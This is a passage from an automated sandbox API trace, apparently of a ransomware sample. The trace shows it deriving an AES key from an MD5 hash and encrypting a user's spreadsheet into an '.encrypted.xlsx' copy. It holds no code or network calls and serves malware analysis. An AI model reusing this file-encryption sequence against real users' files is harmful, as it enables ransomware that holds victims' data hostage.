lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.312] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.312] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.312] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.312] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.313] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.313] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b0c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.313] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.313] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.313] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.313] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.314] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.314] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.315] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.315] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.315] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.315] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.315] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\pvndpv7cycnkjebeijov.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.315] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.315] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.316] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.316] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\pvndpv7cycnkjebeijov.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.316] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.322] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.322] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x2d14, lpOverlapped=0x0) returned 1 [0025.323] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.324] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.324] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.325] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.325] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.325] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.325] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.325] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.325] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.325] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.325] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.326] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.326] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.326] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f4064bb0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bb0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.326] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.326] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.327] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.327] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.327] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x2d14, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x2d20) returned 1 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] CharLowerBuffW (in: lpsz="byte[11553]", cchLength=0xb | out: lpsz="byte[11553]") returned 0xb [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.327] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.327] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.327] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.328] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f60200a0*, pdwDataLen=0xe8f3dfdf68*=0x2d14, dwBufLen=0x2d20 | out: pbData=0xe8f60200a0*, pdwDataLen=0xe8f3dfdf68*=0x2d20) returned 1 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.328] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.328] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.328] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.329] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.329] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.329] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.329] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.329] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.329] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.329] 